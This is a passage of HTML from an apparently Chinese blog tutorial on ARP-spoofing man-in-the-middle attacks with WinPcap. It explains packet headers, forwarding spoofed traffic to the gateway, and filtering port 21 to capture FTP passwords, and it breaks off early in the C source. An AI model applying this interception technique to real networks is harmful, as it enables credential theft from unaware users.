style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5927\u5bb6\u8fd8\u8bb0\u5f97\u524d\u9762\u6211\u4eec\u6240\u8bf4\u7684\u5982\u4f55\u5b9a\u4e49\u4e00\u4e2a\u6570\u636e\u5305\u7684\u7c7b\u578b\u5417\uff1f\u5c31\u662f\u5728\u4ee5\u592a\u7f51\u5934\u90e8\u4e2d\u7684\u201c\u5e27\u7c7b\u578b\u201d\u5b57\u6bb5\u6765\u5b9a\u4e49\uff0c\u4e5f\u5c31\u662f\u4e0a\u56fe\u201c\u7c7b\u578b\u201d\u8fd9\u4e00\u5b57\u6bb5\uff0c<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u8be5\u5b57\u6bb5\u7528\u4e8e\u6807\u8bc6\u6570\u636e\u5b57\u6bb5\u4e2d\u5305\u542b\u7684\u9ad8\u5c42\u534f\u8bae\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u8be5\u5b57\u6bb5\u544a\u8bc9\u63a5\u6536\u8bbe\u5907\u5982\u4f55\u89e3\u91ca\u6570\u636e\u5b57\u6bb5<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff0c<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4f8b\u5982\uff1a0X0800\u4ee3\u8868\u4e3aIP\uff0c0X0806\u4ee3\u8868\u4e3aARP\u3002<\/span><span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6211\u4eec\u5728\u5b9e\u9645\u7684\u4e2d\u95f4\u4eba\u653b\u51fb\u4e2d\uff0c\u82e5\u60f3\u55c5\u63a2\u6b3a\u9a97\u8fc7\u6765\u7684\u6570\u636e\u5305\uff0c\u5c31\u5e94\u8be5\u7528\u76f8\u5e94\u7684\u534f\u8bae\u89e3\u6790\uff0c\u901a\u5e38\u7684\uff0c\u6bd4\u5982\u6211\u4eec\u8981\u55c5\u63a2FTP\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u800cFTP\u53c8\u5c5e\u4e8eTCP\/IP\u534f\u8bae\u7c07\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5e94\u5f53\u5728\u6211\u4eec\u6355\u83b7\u7684\u6570\u636e\u5305\u4e2d\u7b5b\u9009\u51faTCP\/IP\u534f\u8bae\u7684\u6570\u636e\u5305\uff0c\u7136\u540e\u7528\u76f8\u5e94\u7684\u683c\u5f0f\u89e3\u6790\u201c\u6570\u636e\u201d\u8fd9\u4e00\u5b57\u6bb5\u3002\u5148\u6765\u770b\u770b\u4e00\u4e2aIP\u6570\u636e\u5305\u7684\u7ed3\u6784\u662f\u4ec0\u4e48\u6837\u7684\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/85b6f89b41cae26786ac72365fff771b20140124162504.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:156\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-85b6f89b41cae26786ac72365fff771b20140124162504.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"120\" width=\"542\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">MAC&nbsp;Header\u81ea\u7136\u662f\u6211\u4eec\u5df2\u7ecf\u719f\u6089\u7684\u4ee5\u592a\u7f51\u5934\uff0cIP&nbsp;Header\u662fIP\u5934\uff0c\u540e\u9762\u90a3\u4e2a\u6839\u636e\u534f\u8bae\u7684\u4e0d\u540c\u800c\u4e0d\u540c\uff0cTCP\u6216UDP\u5934\uff0c\u6700\u540eData\u90a3\u4e00\u5b57\u6bb5\u624d\u662f\u6211\u4eec\u771f\u6b63\u5173\u6ce8\u7684\uff0c\u6bd4\u5982FTP\u5bc6\u7801\u5c31\u5b58\u653e\u5728\u90a3\u91cc\u9762\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4e86\u89e3\u5b8cIP\u6570\u636e\u5305\u7684\u7ed3\u6784\u6211\u4eec\u518d\u6765\u770b\u770bIP\u548cTCP\u5934\u7684\u7ed3\u6784\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/a269962fe1424e1ca3e68c328b9fed6120140124162506.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:157\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-a269962fe1424e1ca3e68c328b9fed6120140124162506.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"241\" width=\"451\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e89666feb714ab9c3946f28f00c5d8c420140124162525.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:158\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e89666feb714ab9c3946f28f00c5d8c420140124162525.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"296\" width=\"454\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u56fe\u4e2d\u8868\u660e\u7684\u5f88\u8be6\u7ec6\uff0c\u7531\u4e8e\u7bc7\u5e45\u5173\u7cfb\u8fd9\u91cc\u5c31\u4e0d\u518d\u89e3\u91ca\u4e86\uff0c\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u5728\u7f51\u4e0a\u7ffb\u7ffb\u8d44\u6599\u3002\u73b0\u5728\u6211\u4eec\u6765\u770b\u770b\u5982\u4f55\u5c06<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">IP<span style=\"font-family:\u5b8b\u4f53\">\u5934\u548c<\/span><span style=\"font-family:'Times New Roman'\">TCP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5934\u5728\u7a0b\u5e8f\u91cc\u8868\u8fbe\u51fa\u6765\uff0c\u8fd8\u662f\u7528\u7ed3\u6784\u4f53\u5b9a\u4e49\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/ca538c343179bf0fbdfab6cd10469afd20140124162529.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:159\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-ca538c343179bf0fbdfab6cd10469afd20140124162529.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/030d7e8e966169ab4c7f67c291c333f420140124162530.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:160\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-030d7e8e966169ab4c7f67c291c333f420140124162530.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7ed3\u6784\u4f53\u5b9a\u4e49\u597d\u4e86\uff0c\u5728\u7a0b\u5e8f\u4e2d\u505a\u7684\u4e8b\u5c31\u662f\u5f53\u6355\u83b7\u5230\u4e00\u4e2a\u6570\u636e\u5305\u540e\u6211\u4eec\u5c31\u7528\u76f8\u5e94\u7684\u7ed3\u6784\u4f53\u5c06\u6570\u636e\u5305\u4e2d\u7684\u6570\u636e\u89e3\u6790\u51fa\u6765\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u63a5\u4e0b\u6765\u6211\u4eec\u5c31\u8981\u5c1d\u8bd5\u7528\u7f16\u7a0b\u5b9e\u73b0\u4e86\uff0c\u5982\u679c\u5bf9\u4e8e\u524d\u9762<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u65ad\u7f51\u653b\u51fb\u7684\u7f16\u7a0b\u5df2\u7ecf\u53ef\u4ee5\u5b9e\u73b0\u4e86\uff0c\u90a3\u4e48\u5bf9\u4e8e\u8fd9\u4e2a\u4e5f\u5c31\u53ef\u4ee5\u8f7b\u677e\u638c\u63e1\u3002\u5728\u8fd9\u4e2a\u7a0b\u5e8f\u91cc\uff0c\u6211\u4eec\u591a\u7528\u4e86\u4e00\u4e2a<\/span><span style=\"font-family:'Times New Roman'\">winpcap<\/span><span style=\"font-family:\u5b8b\u4f53\">\u6293\u5305\u7684\u51fd\u6570\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">int&nbsp;pcap_next_ex(pcap_t&nbsp;*p,&nbsp;struct&nbsp;pcap_pkthdr&nbsp;**pkt_header,&nbsp;u_char&nbsp;**pkt_data);&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u8bf4\u660e\uff1a\u6355\u83b7\u6570\u636e\u5305\u3002pcap_next_ex()\u5141\u8bb8\u76f4\u63a5\u8c03\u7528\u6765\u63a5\u6536\u5305\uff0c\u5b83\u7684\u53c2\u6570\u6709\u4e00\u4e2a\u7f51\u5361\u63cf\u8ff0<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u7b26<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\uff0c\u548c\u4e24\u4e2a\u6307\u9488\uff0c\u8fd9\u4e24\u4e2a\u6307\u9488\u4f1a\u88ab\u521d\u59cb\u5316\u5e76\u8fd4\u56de\u7ed9\u7528\u6237\uff0c\u4e00\u4e2a\u662fpcap_pkthdr\u7ed3\u6784\uff0c\u53e6\u4e00\u4e2a\u662f\u63a5\u6536\u6570\u636e\u7684\u7f13\u51b2\u533a\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u53c2\u6570:&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">p\u662f\u7531pcap_open_live()\u8fd4\u56de\u7684\u6240\u6253\u5f00\u7f51\u5361\u7684\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">pcap_pkthdr\u578b\u7684\u7ed3\u6784\u4f53\uff0c\u5b58\u50a8\u65f6\u95f4\uff0c\u5305\u7684\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">pkt_data\u5b58\u50a8\u6570\u636e\u5305\u7684\u5185\u5bb9\uff0c\u4e3a\u4e00\u4e2achar\u578b\u6570\u7ec4<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;\u65e2\u7136\u6709\u4e86\u53ef\u4ee5\u6293\u53d6\u94fe\u8def\u5c42\u6570\u636e\u5305\u7684\u51fd\u6570\uff0c\u90a3\u4e48\u6bd4\u8d77\u524d\u9762\u90a3\u4e2a<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u65ad\u7f51\u653b\u51fb\u7684\u7a0b\u5e8f\u6765\u8bf4\uff0c\u8fd9\u4e2a\u7a0b\u5e8f\u53ea\u8981\u5c06\u6b3a\u9a97\u8fc7\u6765\u7684\u6570\u636e\u5305\u518d\u8f6c\u53d1\u7ed9\u7f51\u5173\uff0c\u90a3\u4e48\u76ee\u6807\u4e3b\u673a\u4e5f\u5c31\u4e0d\u4f1a\u65ad\u7f51\u4e86\uff0c\u800c\u76ee\u6807\u4e3b\u673a\u53d1\u9001\u7ed9\u7f51\u5173\u7684\u6570\u636e\u5305\u6211\u4eec\u4e5f\u53ef\u4ee5\u6e05\u695a\u7684\u770b\u5230\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u9996\u5148\u6211\u4eec\u8981\u55c5\u63a2\u6d41\u7ecf\u672c\u673a\u7684\u6570\u636e\u5305\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/134ce63057f068a219a0df338fb0b72320140124162537.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:161\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-134ce63057f068a219a0df338fb0b72320140124162537.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"115\" width=\"476\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;\u8fd9\u91cc\u7528\u4e00\u4e2a\u6b7b\u5faa\u73af\u4e0d\u95f4\u65ad\u7684\u6355\u83b7\u6570\u636e\u5305\uff0c\u5c06\u6355\u83b7\u7684\u6570\u636e\u5305\u4f20\u9012\u5230\u4e00\u4e2a\u65b0\u521b\u5efa\u7684\u7ebf\u7a0b\u4e2d\u53bb\u5904\u7406\uff0c\u56e0\u4e3a\u7f13\u51b2\u533a\u4e2d\u7684\u6570\u636e\u5305\u7a0d\u7eb5\u5373\u901d\uff0c\u82e5\u7b49\u6211\u4eec\u5206\u6790\u5b8c\u4e00\u4e2a\u6355\u83b7\u7684\u6570\u636e\u5305\u540e\u518d\u6355\u83b7\u53e6\u4e00\u4e2a\uff0c\u6709\u53ef\u80fd\u4f1a\u9519\u8fc7\u4e00\u4e9b\u6570\u636e\u5305\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u770b\u5982\u4f55\u5c06\u6b3a\u9a97\u8fc7\u6765\u7684\u6570\u636e\u5305\u8f6c\u53d1\u51fa\u53bb\uff0c\u5e76\u4e14\u83b7\u53d6\u5176\u4e2d\u7684\u5185\u5bb9\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/648b9906a614a4bb30c20591243c65ec20140124162539.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:162\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-648b9906a614a4bb30c20591243c65ec20140124162539.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"140\" width=\"538\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;\u5982\u56fe\uff0c\u5f53\u7a0b\u5e8f\u6355\u83b7\u5230\u4e00\u4e2a\u6570\u636e\u5305\u65f6\uff0c\u5148\u8981\u68c0\u67e5\u4ee5\u592a\u7f51\u5934\u4e2d\u76ee\u7684<span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5730\u5740\u662f\u5426\u662f\u672c\u673a\u5730\u5740\uff0c\u5e76\u4e14\u6e90\u5730\u5740\u662f\u5426\u662f\u88ab\u6b3a\u9a97\u7684\u76ee\u6807\u4e3b\u673a\uff0c\u82e5\u4e24\u9879\u90fd\u6210\u7acb\uff0c\u90a3\u4e48\u5c31\u8868\u660e\u8fd9\u4e2a\u6570\u636e\u5305\u662f\u88ab\u6b3a\u9a97\u8fc7\u6765\u7684\u3002\u90a3\u4e48\u6211\u4eec\u81ea\u7136\u5c31\u8981\u4fee\u6539\u4ee5\u592a\u7f51\u5934\u4e2d\u7684\u76ee\u7684<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff08\u6bd4\u5982\u4fee\u6539\u6210\u7f51\u5173\u5730\u5740\uff09\uff0c\u7136\u540e\u5c06\u6b64\u6570\u636e\u5305\u8f6c\u53d1\u51fa\u53bb\uff0c\u63a5\u4e0b\u6765\u68c0\u67e5\u5e27\u7c7b\u578b\uff0c\u82e5\u503c\u4e3a<\/span><span style=\"font-family:'Times New Roman'\">0x0800<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8bf4\u660e\u6b64\u6570\u636e\u5305\u5305\u542b\u7684\u9ad8\u5c42\u534f\u8bae\u662f<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u90a3\u4e48\u6211\u4eec\u81ea\u7136\u8981\u7528<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5934\u7ed3\u6784\u6765\u89e3\u6790\u9ad8\u5c42\u534f\u8bae\u6570\u636e\uff0c\u7136\u540e\u518d\u68c0\u6d4b\u4e00\u4e0b<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5934\u4e2d\u5305\u542b\u7684\u4e0a\u5c42\u534f\u8bae\u662f\u4e0d\u662f<\/span><span style=\"font-family:'Times New Roman'\">TCP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u82e5\u662f\u5219\u7528<\/span><span style=\"font-family:'Times New Roman'\">TCP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5934\u89e3\u6790\u6570\u636e\u5305\u4e2d\u5305\u542b\u7684<\/span><span style=\"font-family:'Times New Roman'\">TCP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4fe1\u606f\uff0c\u82e5\u53d1\u73b0<\/span><span style=\"font-family:'Times New Roman'\">TCP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8fde\u63a5\u4e2d\u7684\u76ee\u7684\u7aef\u53e3\u662f<\/span><span style=\"font-family:'Times New Roman'\">21<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u5219\u8868\u660e\u53ef\u80fd\u662f<\/span><span style=\"font-family:'Times New Roman'\">FTP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5bf9\u6b64\u6570\u636e\u5305\u4e2d\u7684\u5185\u5bb9\u8fdb\u884c\u7b5b\u9009\uff0c\u8c03\u7528\u4e86<\/span><span style=\"font-family:'Times New Roman'\">FTP_Sniffer<\/span><span style=\"font-family:\u5b8b\u4f53\">\u51fd\u6570\uff0c\u5426\u5219\u5c06\u6570\u636e\u5305\u4e22\u5f03\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6700\u540e\u7ed9\u51fa\u5b8c\u6574\u7684\u7a0b\u5e8f\u4ee3\u7801\uff0c\u7531\u4e8e\u524d\u9762\u90a3\u4e2a<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u65ad\u7f51\u653b\u51fb\u6211\u4eec\u662f\u4f2a\u9020<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8bf7\u6c42\u5305\u5b9e\u73b0\u7684\uff0c\u90a3\u4e48\u8fd9\u4e2a\u6211\u4eec\u5c31\u7528<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u5b9e\u73b0\u6b3a\u9a97\u5427\uff0c\u53ea\u4e0d\u8fc7\u662f\u4fee\u6539\u4e86<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\u4e2d\u7684\u4e09\u5904\u5b57\u6bb5\u503c\u800c\u5df2\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;stdio.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;stdlib.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;string.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;windows.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;pcap.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;conio.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;winsock2.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;iphlpapi.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#pragma&nbsp;comment(lib,&#8221;ws2_32.lib&#8221;)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#pragma&nbsp;comment(lib,&#8221;Iphlpapi.lib&#8221;)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#pragma&nbsp;comment(lib,&#8221;pcap.lib&#8221;)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct&nbsp;DLC_Header<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;DesMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;SrcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;EtherType;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5e27\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;DLCHEADER;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct&nbsp;ARP_Frame<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 